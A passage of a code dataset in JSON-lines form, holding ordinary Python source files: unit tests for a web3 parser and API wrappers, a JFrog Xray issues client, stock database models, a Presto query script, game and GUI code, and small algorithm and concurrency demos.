\"\"\"Test that the parser fails when given a method name which doesn't exist\"\"\"\n contract = make_basic_contract()\n parser = TransactionParser(\n {HexBytes(\"0x1234123412341234123412341234123412341234\"): contract}\n )\n\n payload = HexBytes(\n \"0x343434340000000000000000000000000000000000000000000000000000000000000006\",\n )\n json_rpc = self.build_input_json_rpc(payload.hex())\n self.assertRaises(ValueError, parser.parse, json_rpc)\n\n def test_transaction_no_method_args(self):\n \"\"\"Test that the parser fails when no arguments are specified\"\"\"\n contract = make_basic_contract()\n parser = TransactionParser(\n {HexBytes(\"0x1234123412341234123412341234123412341234\"): contract}\n )\n\n payload = method_signature(contract.functions.testmethod1)\n json_rpc = self.build_input_json_rpc(payload.hex())\n self.assertRaises(ParseError, parser.parse, json_rpc)\n\n\nclass TestMessageParser(TestCase):\n def build_input_json_rpc(\n self, message: str, to: str = \"0x1234123412341234123412341234123412341234\"\n ) -> InputJsonRpc:\n json_rpc = InputJsonRpc(\n method=\"eth_sign\",\n params=[to, message],\n )\n return json_rpc\n\n def test_parse_message(self):\n \"\"\"Test basic functionality of parse_message\"\"\"\n parser = MessageParser()\n\n original_message = \"testmessage\"\n message_hex = HexBytes(original_message.encode(\"ascii\")).hex()\n parsed_message = parser.parse_message(message_hex)\n self.assertEqual(original_message, parsed_message)\n\n def test_parse_message_bad(self):\n \"\"\"Make sure that parse_message raises an error if the hex is formatted badly\"\"\"\n parser = MessageParser()\n message_hex = \"01X2Z340\"\n self.assertRaises(ParseError, parser.parse_message, message_hex)\n\n def test_parse_basic(self):\n \"\"\"Test basic functionality of parse\"\"\"\n parser = MessageParser()\n\n original_message = \"testmessage\"\n message_hex = HexBytes(original_message.encode(\"ascii\")).hex()\n json_rpc = self.build_input_json_rpc(message_hex)\n parsed_message = parser.parse(json_rpc)\n self.assertEqual(original_message, parsed_message.message)\n\n def test_parse_bad(self):\n \"\"\"Make sure that parse raises an error if the json rpc is bad\"\"\"\n parser = MessageParser()\n\n # no message\n json_rpc = InputJsonRpc(method=\"eth_sign\", params=[])\n self.assertRaises(ParseError, parser.parse, json_rpc)\n","repo_name":"PlaygroundLabs/web3-policy-engine","sub_path":"tests/test_parse.py","file_name":"test_parse.py","file_ext":"py","file_size_in_byte":10951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27831163486","text":"import os\nimport pytest\n\nfrom synda.tests.manager import Manager\nManager().set_tests_mode()\n\nfrom synda.tests.tests.constants import DATADIR\n\n\n@pytest.mark.on_all_envs\ndef test_no_data(get_selection_file_data_not_found_context, capsys):\n\n context = get_selection_file_data_not_found_context\n\n selection_file = os.path.join(\n DATADIR,\n \"test_selection_downloading_no_data.txt\",\n )\n\n context.set_selection_file(selection_file)\n context.set_capsys(capsys)\n\n from synda.tests.subcommand.get.selection.models import SelectionGetSubCommand as SubCommand\n\n sub_command = SubCommand(context, exceptions_codes=[1])\n\n sub_command.execute()\n","repo_name":"ESPRI-Mod/synda","sub_path":"synda/tests/tests/env/default/subprocess/get/selection/no_data/test_no_data.py","file_name":"test_no_data.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"47"} +{"seq_id":"26062555664","text":"import pytest\nfrom os import environ\nfrom time import sleep\nfrom dotenv import load_dotenv\n\nfrom brawlhalla_api import Brawlhalla\nfrom brawlhalla_api.errors import BadRequest\nfrom brawlhalla_api.types import (\n Clan,\n Region,\n SteamUser,\n PlayerStats,\n PlayerRanked,\n RankingResult,\n LegendDetails,\n)\n\nload_dotenv()\n\nAPI_KEY = environ.get(\"API_KEY\")\nassert API_KEY is not None\n\n\n@pytest.fixture\ndef brawl():\n return Brawlhalla(API_KEY)\n\n\n@pytest.fixture(autouse=True)\ndef slow_down_tests():\n sleep(0.5)\n\n\n@pytest.mark.asyncio\nasync def test_search(brawl: Brawlhalla):\n result = await brawl.search(76561198025185087)\n assert isinstance(result, SteamUser)\n\n\n@pytest.mark.asyncio\nasync def test_rankings(brawl: Brawlhalla):\n result = await brawl.get_rankings()\n assert isinstance(result[0], RankingResult)\n\n\n@pytest.mark.asyncio\nasync def test_rankings_with_name(brawl: Brawlhalla):\n result = await brawl.get_rankings(name=\"Nickoehler\")\n assert len(result) == 0\n\n\n@pytest.mark.asyncio\nasync def test_stats(brawl: Brawlhalla):\n result = await brawl.get_stats(3358533)\n assert isinstance(result, PlayerStats)\n\n\n@pytest.mark.asyncio\nasync def test_ranked(brawl: Brawlhalla):\n result = await brawl.get_ranked(3358533)\n assert isinstance(result, PlayerRanked)\n\n\n@pytest.mark.asyncio\nasync def test_clan(brawl: Brawlhalla):\n result = await brawl.get_clan(1754020)\n assert isinstance(result, Clan)\n\n\n@pytest.mark.asyncio\nasync def test_legends(brawl: Brawlhalla):\n result = await brawl.get_legends()\n assert isinstance(result, list)\n\n\n@pytest.mark.asyncio\nasync def test_specific_legend(brawl: Brawlhalla):\n result = await brawl.get_legends(3)\n assert isinstance(result, LegendDetails)\n\n\n@pytest.mark.asyncio\nasync def test_get_stats_on_ranking(brawl: Brawlhalla):\n result = await brawl.get_rankings()\n assert isinstance(await result[0].get_stats(), PlayerStats)\n\n\n@pytest.mark.asyncio\nasync def test_get_clan_on_player_stats(brawl: Brawlhalla):\n result = await (await brawl.get_stats(3358533)).get_clan()\n assert isinstance(result, Clan)\n\n\n@pytest.mark.asyncio\nasync def test_errors(brawl: Brawlhalla):\n with pytest.raises(BadRequest):\n await brawl.get_rankings(bracket=Region.ALL)\n","repo_name":"NicKoehler/brawlhalla_api","sub_path":"tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"35137757624","text":"import geopandas as gpd\nfrom shapely.geometry import Point\n\n\n# Test whether location that is inputted is in the raster box and within the boundary of the Isle of Wight.\nclass CoordinateInput:\n\n def __init__(self, shape_file):\n self.__shape_file = shape_file\n\n # Ask the user to input the current location\n def user_input(self):\n # First, check if the entered location is within the boundary of the elevation raster\n position = self.prompt()\n isle_of_wight = gpd.read_file(self.__shape_file)\n # Error handling by changing CRS to the British National Grid\n isle_of_wight.to_crs(27700)\n # Error handling by checking if the position is located within the boundary of the Isle of Wight\n while not position.within(isle_of_wight['geometry']).any():\n print('The position is not on the land of Isle of Wight. Please try again.')\n print()\n position = self.prompt()\n\n # Test output for isle_of_wight\n # for geo in isle_of_wight['geometry']:\n # print(geo)\n\n print('\\nEntered successfully! Your current position is: (Easting ' + str(position.x) + ', Northing ' + str(\n position.y) + ').\\n')\n return position\n\n # Provide prompts for users to input their current location, which must within the boundary of the elevation raster\n @staticmethod\n def prompt():\n print('Please input your current location.')\n # Ask for easting coordinate\n easting = int(\n input('Please enter the easting coordinate (based on British National Grid between 425000 and 470000): '))\n while easting < 425000 or easting > 470000:\n easting = int(\n input('Sorry! The easting coordinate should be between 425000 and 470000. Please enter again: '))\n\n # Ask for northing coordinate\n northing = int(\n input('Please enter the northing coordinate (based on British National Grid within 75000 abd 100000): '))\n while northing < 75000 or northing > 100000:\n northing = int(\n input('Sorry! The northing coordinate should be between 75000 and 100000. Please enter again: '))\n\n position = Point(easting, northing)\n return position\n","repo_name":"ZongheMa/flood-emergency-platform","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"3571202115","text":"from enum import Enum\nfrom xray.utils.http import RestApiAccessor\n\n\nclass XrayIssueType(Enum):\n SECURITY = 'Security'\n VERSIONS = 'Versions'\n PERFORMANCE = 'Performance'\n OTHER = 'Other'\n\n\nclass XrayIssueSeverity(Enum):\n INFORMATION = 'Information'\n LOW = 'Low'\n MEDIUM = 'Medium'\n HIGH = 'High'\n CRITICAL = 'Critical'\n\n\nclass XrayIssues(RestApiAccessor):\n \"\"\"\n Xray REST API: ISSUES\n See: https://www.jfrog.com/confluence/display/JFROG/Xray+REST+API#XrayRESTAPI-ISSUES\n \"\"\"\n\n def create_issue_event(self,\n *,\n issue_id,\n package_type: str,\n summary: str,\n description: str,\n component_id: str,\n vulnerable_versions: list,\n provider=\"Custom\",\n issue_type=XrayIssueType.SECURITY.value,\n severity=XrayIssueSeverity.LOW.value,\n cve_list=None\n ):\n \"\"\"\n Allows adding a custom issue\n :param issue_id:\n :param summary:\n :param description:\n :param package_type:\n :param component_id:\n :param vulnerable_versions:\n :param provider:\n :param issue_type:\n :param severity:\n :param cve_list:\n :return:\n \"\"\"\n if cve_list is None:\n cve_list = []\n url = self.base_url + \"/api/v1/events\"\n json_data = {\n \"id\": issue_id,\n \"type\": issue_type,\n \"provider\": provider,\n \"package_type\": package_type,\n \"severity\": severity,\n \"components\": [\n {\n \"id\": component_id,\n \"vulnerable_versions\": vulnerable_versions\n }\n ],\n \"cves\": cve_list,\n \"summary\": summary,\n \"description\": description\n }\n response = self.rest_post(\n url,\n json_data=json_data\n )\n return response\n\n def update_issue_event(self,\n *,\n issue_id,\n package_type: str,\n summary: str,\n description: str,\n component_id: str,\n vulnerable_versions: list,\n provider=\"Custom\",\n issue_type=XrayIssueType.SECURITY.value,\n severity=XrayIssueSeverity.LOW.value,\n cve_list=None,\n source_list=None,\n ):\n \"\"\"\n Allows an issue vendor to update an issue event\n :param issue_id:\n :param package_type:\n :param summary:\n :param description:\n :param component_id:\n :param vulnerable_versions:\n :param provider:\n :param issue_type:\n :param severity:\n :param cve_list:\n :param source_list:\n :return:\n \"\"\"\n assert len(issue_id) > 0\n if cve_list is None:\n cve_list = []\n if source_list is None:\n source_list = []\n url = self.base_url + \"/api/v1/events/\" + issue_id\n json_data = {\n \"id\": issue_id,\n \"package_type\": package_type,\n \"type\": issue_type,\n \"provider\": provider,\n \"summary\": summary,\n \"description\": description,\n \"severity\": severity,\n \"components\": [\n {\n \"id\": component_id,\n \"vulnerable_versions\": vulnerable_versions\n }\n ],\n \"cves\": cve_list,\n \"sources\": source_list,\n }\n response = self.rest_put(\n url,\n json_data=json_data\n )\n return response\n\n def get_issue_event(self, issue_id: str, api_version='v1'):\n \"\"\"\n Gets an issue created by a vendor\n :param issue_id:\n :param api_version: v1 is deprecated in Xray version 3.51.0 and v2 since 3.51.0\n :return:\n \"\"\"\n assert len(issue_id) > 0\n assert api_version in ['v1', 'v2']\n url = self.base_url + f'/api/{api_version}/events/{issue_id}'\n response = self.rest_get(\n url\n )\n return response\n","repo_name":"donhui/jfrog-xray-api","sub_path":"xray/issues.py","file_name":"issues.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"74354488781","text":"# Window sliding\n\ndef left_span(arr):\n # left[i] = index of previous element that is smaller than arr[i]\n # => likewise, all elements in arr[left[i]+1:i] are greater or equal to arr[i]\n n = len(arr)\n stack = []\n left = [-1] * n\n for i in range(n):\n while stack and arr[stack[-1]] >= arr[i]:\n stack.pop()\n if stack:\n left[i] = stack[-1]\n stack.append(i)\n return left\n\ndef right_span(arr):\n # right[i] = index of next element that is smaller than arr[i]\n # => likewise, all elements in arr[i+1:right[i]] are greater or equal to arr[i]\n n = len(arr)\n stack = []\n right = [n] * n\n for i in reversed(range(n)):\n while stack and arr[stack[-1]] >= arr[i]:\n stack.pop()\n if stack:\n right[i] = stack[-1]\n stack.append(i)\n return right\n\ndef largest_rectangle(heights):\n n = len(heights)\n stack, result = [], 0\n for i in range(n):\n # hr, ir => the height and position of the right side\n # il => the position of the left side so that stack[:][0] < height[il]\n hr, ir, il = heights[i], i, i\n # maintain invariant\n while stack and stack[-1][0] >= hr:\n # compute the area of rectangle:\n # __\n # __\n # __\n # ___.......\n # |hl |\n # | |__\n # | here! |hr\n # | |\n #=================\n # il ir\n hl, il = stack.pop()\n area = hl * (ir - il)\n result = max(result, area)\n # push the current height to the stack\n # __\n # hl\n # __.......__\n # __hr hr\n #\n # ===============\n # il ir\n stack.append((hr, il))\n # clean the stack to compute rectangles as if hr = 0 at ir = n\n for h, i in stack:\n area = h * (n - i)\n result = max(result, area)\n return result\n","repo_name":"davll/practical-algorithms","sub_path":"algo.py/algo/search/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"622192855","text":"import os\nfrom yozuch.loaders import Loader\n\n\nclass PageLoader(Loader):\n name = 'pages'\n\n def load(self, context, pages_path):\n for filename in os.listdir(pages_path):\n path = os.path.join(pages_path, filename)\n if not os.path.isfile(path):\n continue\n filename = os.path.basename(path)\n name, ext = os.path.splitext(filename)\n if ext in context.config['PAGE_FILE_EXTENSIONS']:\n yield filename\n","repo_name":"akrylysov/yozuch","sub_path":"yozuch/loaders/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"47"} +{"seq_id":"25126707509","text":"from mysite import db\n\nimport datetime\nimport time\nimport os\nimport logging\nimport pandas\n\nlogger = logging.getLogger(__name__)\n\nclass Stock(db.Model):\n __tablename__ = 'stocks'\n\n id = db.Column(db.Integer, primary_key=True)\n ticker = db.Column(db.String(64), nullable=False)\n exchange = db.Column(db.String(64), nullable=True)\n sedol = db.Column(db.String(64), nullable=False)\n name = db.Column(db.String(64), nullable=False)\n sector = db.Column(db.String(64), nullable=False)\n industry = db.Column(db.String(64), nullable=True)\n\n _prices = db.relationship('StockPrice', backref='stock')\n dividends = db.relationship('StockDividend', backref='stock')\n\n @property\n def prices(self):\n return pandas.DataFrame(\n data=[(x.open_, x.high, x.low, x.close, x.volume) for x in self._prices], \n columns=('open', 'high', 'low', 'close', 'volume'),\n index=pandas.to_datetime([x.date for x in self._prices]),\n )\n\n def __init__(self, ticker, exchange, sedol, name, sector, industry):\n self.ticker = ticker\n self.exchange = exchange\n self.sedol = sedol\n self.name = name\n self.sector = sector\n self.industry = industry\n\n def __repr__(self):\n return \"\" % (\n (self.id or 0), self.exchange, self.ticker\n )\n\n def add_dividend(\n self, dividend_type, cash_amount, ex_date, declaration_date, \n record_date, payment_date\n ):\n try:\n sd = [\n sd for sd in self.dividends\n\n if sd.payment_date == payment_date \n and sd.dividend_type == dividend_type\n ]\n\n if sd:\n sd = sd[0]\n sd.cash_amount = cash_amount\n sd.ex_date = ex_date\n sd.declaration_date = declaration_date\n sd.record_date = record_date\n\n else:\n sd = StockDividend(\n self, dividend_type, cash_amount, ex_date, \n declaration_date, record_date, payment_date\n )\n\n logger.debug(sd)\n db.session.add(sd)\n\n except (ValueError, IndexError):\n pass\n\n def add_price(self, date, open_, high, low, close, volume):\n try:\n sp = [sp for sp in self._prices if sp.date == date]\n if sp:\n sp = sp[0]\n sp.open_ = open_\n sp.high = high\n sp.low = low\n sp.close = close\n sp.volume = volume\n else:\n sp = StockPrice(\n self, date, open_, high, low, close, volume\n )\n\n logger.debug(sp)\n db.session.add(sp)\n\n except (ValueError, IndexError):\n pass\n\n\nclass StockPrice(db.Model):\n __tablename__ = \"stock_prices\"\n\n id = db.Column(db.Integer, primary_key=True)\n stock_id = db.Column(db.Integer, db.ForeignKey('stocks.id'))\n date = db.Column(db.Date, nullable=False)\n open_ = db.Column(db.Float, nullable=True)\n high = db.Column(db.Float, nullable=True)\n low = db.Column(db.Float, nullable=True)\n close = db.Column(db.Float, nullable=False)\n volume = db.Column(db.Float, nullable=True)\n \n __table_args__ = (\n db.UniqueConstraint('stock_id', 'date', name='_unq_stock_price'),\n )\n\n def __init__(self, stock, date, open_, high, low, close, volume):\n self.stock = stock\n self.date = date\n self.open_ = open_\n self.high = high\n self.low = low\n self.close = close\n self.volume = volume\n\n def __repr__(self):\n return \"\" % (\n (self.id or 0), self.stock.ticker, self.date, self.close\n )\n\n def json(self):\n return { \n 'date': self.date.strftime('%Y-%m-%d'), \n 'open': self.open_,\n 'high': self.high,\n 'low': self.low,\n 'close': self.close,\n 'volume': self.volume,\n }\n\n\nclass StockDividend(db.Model):\n __tablename__ = \"stock_dividends\"\n\n id = db.Column(db.Integer, primary_key=True)\n stock_id = db.Column(db.Integer, db.ForeignKey('stocks.id'))\n dividend_type = db.Column(db.String(64), nullable=False)\n cash_amount = db.Column(db.Float, nullable=False)\n ex_date = db.Column(db.Date, nullable=False)\n declaration_date = db.Column(db.Date, nullable=False)\n record_date = db.Column(db.Date, nullable=False)\n payment_date = db.Column(db.Date, nullable=False)\n\n __table_args__ = (\n db.UniqueConstraint('stock_id', 'dividend_type', 'payment_date', \n name='_unq_stock_dividend'\n ),\n )\n\n def __init__(\n self, stock, dividend_type, cash_amount, ex_date, declaration_date, \n record_date, payment_date\n ):\n\n self.stock = stock\n self.dividend_type = dividend_type\n self.cash_amount = cash_amount\n self.ex_date = ex_date\n self.declaration_date = declaration_date\n self.record_date = record_date\n self.payment_date = payment_date\n\n def __repr__(self):\n return \"\" % (\n (self.id or 0), self.stock.ticker, self.payment_date, \n self.cash_amount\n )\n\n def json(self):\n return { \n 'dividend_type': self.dividend_type,\n 'cash_amount': self.cash_amount,\n 'ex_date': self.ex_date.strftime('%Y-%m-%d'),\n 'record_date': self.record_date.strftime('%Y-%m-%d'),\n 'payment_date': self.payment_date.strftime('%Y-%m-%d'),\n 'declaration_date': self.declaration_date.strftime('%Y-%m-%d'),\n }\n\n\n","repo_name":"ssloat/stocks","sub_path":"mysite/stocks/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8772774347","text":"import concurrent.futures\r\nimport time\r\n\r\nmenu = {\r\n 'nasi goreng': 15000,\r\n 'mie goreng': 12000,\r\n 'ayam goreng': 20000,\r\n 'sate ayam': 15000,\r\n 'gado-gado': 10000,\r\n 'bakso': 12000,\r\n 'es teh manis': 5000,\r\n 'es jeruk': 7000,\r\n 'jus alpukat': 10000,\r\n 'jus mangga': 12000\r\n}\r\n\r\norder_list = [\r\n ('nasi goreng', 2),\r\n ('ayam goreng', 1),\r\n ('es teh manis', 3),\r\n ('jus mangga', 1)\r\n]\r\n\r\n\r\ndef prepare_food(item, quantity):\r\n for i in range(0, 10000000):\r\n i += 1\r\n print(f'Prepared {quantity} {item}(s)')\r\n\r\n\r\ndef serve_customer(item, quantity):\r\n for i in range(0, 10000000):\r\n i += 1\r\n print(f'Served {quantity} {item}(s)')\r\n\r\n\r\ndef take_order(order):\r\n item, quantity = order\r\n price = menu[item]\r\n print(f'Taking order: {quantity} {item}(s), price {price*quantity}')\r\n return price*quantity\r\n\r\n\r\nif __name__ == '__main__':\r\n # Sequential Execution\r\n start_time = time.perf_counter()\r\n total_price = 0\r\n for order in order_list:\r\n price = take_order(order)\r\n total_price += price\r\n prepare_food(*order)\r\n serve_customer(*order)\r\n print(f'Sequential Execution in {time.perf_counter() - start_time} seconds, total price: {total_price}')\r\n\r\n # Thread Pool Execution\r\n start_time = time.perf_counter()\r\n total_price = 0\r\n with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:\r\n futures = []\r\n for order in order_list:\r\n futures.append(executor.submit(take_order, order))\r\n for future in concurrent.futures.as_completed(futures):\r\n price = future.result()\r\n total_price += price\r\n for order in order_list:\r\n executor.submit(prepare_food, *order)\r\n executor.submit(serve_customer, *order)\r\n print(f'Thread Pool Execution in {time.perf_counter() - start_time} seconds, total price: {total_price}')\r\n\r\n # Process Pool Execution\r\n start_time = time.perf_counter()\r\n total_price = 0\r\n with concurrent.futures.ProcessPoolExecutor(max_workers=5) as executor:\r\n futures = []\r\n for order in order_list:\r\n futures.append(executor.submit(take_order, order))\r\n for future in concurrent.futures.as_completed(futures):\r\n price = future.result()\r\n total_price += price\r\n for order in order_list:\r\n executor.submit(prepare_food, *order)\r\n executor.submit(serve_customer, *order)\r\n print(f'Process Pool Execution in {time.perf_counter() - start_time} seconds, total price: {total_price}')\r\n","repo_name":"kerjabhakti/SISTER_3A","sub_path":"Chapter05/1204013_fauziah henni/concurrent_futures_pooling.py","file_name":"concurrent_futures_pooling.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34578794392","text":"from dataclasses import dataclass\nimport json\nfrom io import BytesIO\nfrom pathlib import Path\n\nfrom gslide2media.enums import ExportFormats\nfrom gslide2media import config\n\n\n@dataclass(slots=True, kw_only=True)\nclass File:\n extension: ExportFormats\n file_data: bytes | BytesIO\n presentation_id: str\n slide_id: str | None = None\n presentation_order: int = 0\n presentation_name: str | None = None\n parent: str | None = None\n is_batch: bool = False\n\n _path: Path | None = None\n _working_dir: Path | None = None\n _resolved_drive_path: Path | str | None = None\n _instances = {} # type:ignore\n\n def __new__(\n cls,\n extension=None,\n file_data=None,\n presentation_id=None,\n slide_id=None,\n presentation_order=0,\n presentation_name=None,\n parent=None,\n is_batch=False,\n ):\n instance_id = extension, presentation_id, slide_id, parent\n if instance_id not in cls._instances:\n cls._instances[instance_id] = super(cls, cls).__new__(cls)\n\n return cls._instances[instance_id]\n\n def __post_init__(self):\n self.working_dir = config.ARGS.download_directory\n\n if self.presentation_name is None:\n self.presentation_name = config.GOOGLE.get_presentation_name(\n self.presentation_id\n )\n\n if self.is_batch:\n self.resolved_drive_path = \"gslide2media\"\n drive_path = self.resolved_drive_path\n else:\n self.resolved_drive_path = config.GOOGLE.resolve_drive_file_path_to_root(\n self.presentation_id\n )\n drive_path = self.resolved_drive_path.name_path\n\n if self.slide_id:\n self.path = (\n self.working_dir\n / \"presentations\"\n / drive_path\n / self.presentation_name\n / f\"{self.presentation_name}_slide_{self.presentation_order + 1:02}_{self.slide_id}.{self.extension}\"\n )\n else:\n self.path = (\n self.working_dir\n / \"presentations\"\n / drive_path\n / self.presentation_name\n / f\"{self.presentation_name}.{self.extension}\"\n )\n\n def save(self):\n self.path.parent.mkdir(parents=True, exist_ok=True)\n\n if self.extension == ExportFormats.JSON and isinstance(self.file_data, dict):\n data = json.dumps(self.file_data).encode(\"UTF-8\")\n elif self.extension == ExportFormats.MP4:\n data = self.file_data.getbuffer()\n else:\n data = self.file_data\n\n with self.path.open(\"wb\") as file:\n file.write(data)\n\n @classmethod\n def get_instance_count(cls) -> int:\n return len(cls._instances)\n\n def __repr__(self):\n return f\"\"\"\n \"extension\": {self.extension}\n \"file_data\": {\"True\" if self.file_data else \"False\"}\n \"presentation_id\": {self.presentation_id}\n \"slide_id\": {self.slide_id}\n \"presentation_order\": {self.presentation_order}\n \"presentation_name\": {self.presentation_name}\n \"parent\": {self.parent}\n \"is_batch\": {self.is_batch}\n \"_path\": {self._path}\n \"_working_dir\": {self._working_dir}\n \"_resolved_drive_path\": {self._resolved_drive_path}\n \"\"\"\n\n @property\n def path(self):\n return self._path\n\n @path.setter\n def path(self, path: Path):\n self._path = path\n\n @path.deleter\n def path(self):\n del self._path\n\n @property\n def working_dir(self) -> Path | None:\n return self._working_dir\n\n @working_dir.setter\n def working_dir(self, working_dir: Path | None):\n self._working_dir = working_dir\n\n @working_dir.deleter\n def working_dir(self):\n del self._working_dir\n\n @property\n def resolved_drive_path(self) -> Path | str:\n return self._resolved_drive_path # type:ignore\n\n @resolved_drive_path.setter\n def resolved_drive_path(self, resolved_drive_path: Path | str):\n self._resolved_drive_path = resolved_drive_path\n\n @resolved_drive_path.deleter\n def resolved_drive_path(self):\n del self._resolved_drive_path\n","repo_name":"dmidlo/gslide2media","sub_path":"src/gslide2media/models/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25947146665","text":"#!/usr/bin/env python3\n\nimport argparse\nimport configparser\nimport logging\nimport pandas\nimport prestodb\nimport sys\n\nlogging.basicConfig(stream=sys.stdout,\n format=\"%(asctime)s - %(levelname)s - %(message)s\")\n\ndef parse_command_line():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-c\", \"--config\",\n help=\"Configuration in INI file format (default: %(default)s)\",\n default=\"prestodemo.ini\", metavar=\"FILE\")\n parser.add_argument(\"-l\", \"--log\",\n help=\"Logging level: %(choices)s (default: %(default)s)\",\n choices=[\"DEBUG\", \"INFO\", \"WARNING\", \"ERROR\", \"CRITICAL\"],\n default=\"INFO\", metavar=\"LEVEL\")\n args = parser.parse_args()\n\n logging.getLogger().setLevel(getattr(logging, args.log, None))\n logging.debug(\"Parsed command line arguments: %s\" %args)\n\n return read_config(args.config)\n\ndef read_config(configfile):\n logging.debug(\"Reading configuration file: %s\" %configfile)\n config = configparser.ConfigParser()\n config.read(configfile)\n return config\n\ndef main():\n config = parse_command_line()\n try:\n conn=prestodb.dbapi.connect(\n host=config[\"DB\"][\"host\"],\n port=config[\"DB\"][\"port\"],\n user=config[\"Creds\"][\"user\"],\n catalog=config[\"DB\"][\"catalog\"],\n schema=config[\"DB\"][\"schema\"],\n http_scheme=config[\"DB\"][\"http_scheme\"],\n auth=prestodb.auth.BasicAuthentication(\n config[\"Creds\"][\"user\"], config[\"Creds\"][\"password\"]),\n )\n\n cur = conn.cursor()\n logging.info(\"Executing query: %s\" %config[\"DB\"][\"query\"])\n cur.execute(config[\"DB\"][\"query\"])\n results = cur.fetchall()\n cols = [col[0] for col in cur.description]\n data = pandas.DataFrame(results, columns=cols)\n\n logging.info(\"Results: %s Rows, %s Cols\" %(data.shape[0], data.shape[1]))\n \n except Exception as e:\n logging.error(\"Error: %s\" %e)\n finally:\n cur.cancel()\n conn.close()\n return\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"Windex/python-presto-demo","sub_path":"prestodemo.py","file_name":"prestodemo.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18236560255","text":"from sprite_object import *\n\n\nclass Weapon(AnimatedSprite):\n def __init__(self, game, path='resources/sprites/weapon/shotgun/0.png', scale=0.4, animation_time=90):\n super().__init__(game=game, path=path, scale=scale, animation_time=animation_time)\n self.images = deque(\n [pg.transform.smoothscale(img, (self.image.get_width() * scale, self.image.get_height() * scale))\n for img in self.images])\n self.weapon_pos = (HALF_WIDTH - self.images[0].get_width() // 2, HEIGHT - self.images[0].get_height())\n self.reloading = False\n self.num_images = len(self.images)\n self.frame_counter = 0\n self.damage = 50\n\n def animate_shot(self):\n if self.reloading:\n self.game.player.shot = False\n if self.animation_trigger:\n self.images.rotate(-1)\n self.image = self.images[0]\n self.frame_counter += 1\n if self.frame_counter == self.num_images:\n self.reloading = False\n self.frame_counter = 0\n\n def draw(self):\n self.game.screen.blit(self.images[0], self.weapon_pos)\n\n def update(self):\n self.check_animation_time()\n self.animate_shot()","repo_name":"StanislavPetrovV/DOOM-style-Game","sub_path":"weapon.py","file_name":"weapon.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":433,"dataset":"github-code","pt":"47"} +{"seq_id":"43401488665","text":"from PyQt5.QtPrintSupport import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.Qt import *\nfrom datetime import *\nimport sys\n\nclass Dialog(QDialog):\n def __init__(self, parent=None):\n super(Dialog, self).__init__(parent)\n self.label_0 = QLabel('Что:')\n self.label_1 = QLabel('Чем:')\n self.label_2 = QLabel('Размер:')\n self.lineEdit_0 = QLineEdit()\n self.lineEdit_1 = QLineEdit()\n self.lineEdit_2 = QLineEdit()\n self.button_0 = QPushButton('Найти далее')\n self.button_1 = QPushButton('Найти предыдущее')\n self.button_2 = QPushButton('Заменить')\n self.button_3 = QPushButton('Заменить всё')\n self.button_4 = QPushButton('Отмена')\n self.button_5 = QPushButton('Применить')\n self.setStyleSheet(\"QLineEdit \"\n \"{\"\n \"selection-background-color: #5691c8;\\n\"\n \"selection-color: #ffffff;\"\n \"}\")\n self.main = Main()\n\n self.setLayout(QGridLayout())\n self.layout().addWidget(self.label_0, 0, 0, 1, 1)\n self.layout().addWidget(self.label_1, 1, 0, 1, 1)\n self.layout().addWidget(self.label_2, 0, 0, 1, 1)\n self.layout().addWidget(self.lineEdit_0, 0, 1, 1, 1)\n self.layout().addWidget(self.lineEdit_1, 1, 1, 1, 1)\n self.layout().addWidget(self.lineEdit_2, 0, 1, 1, 1)\n self.layout().addWidget(self.button_0, 0, 2, 1, 1)\n self.layout().addWidget(self.button_1, 1, 2, 1, 1)\n self.layout().addWidget(self.button_2, 2, 2, 1, 1)\n self.layout().addWidget(self.button_3, 3, 2, 1, 1)\n self.layout().addWidget(self.button_4, 4, 2, 1, 1)\n self.layout().addWidget(self.button_5, 0, 2, 1, 1)\n self.setWindowFlags(self.windowFlags() & ~Qt.WindowContextHelpButtonHint)\n\n self.button_0.clicked.connect(lambda: self.parent().findText(self.lineEdit_0.text()))\n self.button_1.clicked.connect(lambda: self.parent().findText(self.lineEdit_0.text(), True))\n self.button_2.clicked.connect(lambda: self.parent().replace(self.lineEdit_0.text(), self.lineEdit_1.text()))\n self.button_3.clicked.connect(lambda: self.parent().replaceAll(self.lineEdit_0.text(), self.lineEdit_1.text()))\n self.button_4.clicked.connect(lambda: self.reject())\n self.button_5.clicked.connect(lambda: self.parent().changeFont(self.lineEdit_2.text()))\n\nclass FindDialog(Dialog):\n def __init__(self, parent=None):\n super(FindDialog, self).__init__(parent)\n self.setWindowTitle('Найти')\n self.label_1.hide()\n self.label_2.hide()\n self.lineEdit_1.hide()\n self.lineEdit_2.hide()\n self.button_2.hide()\n 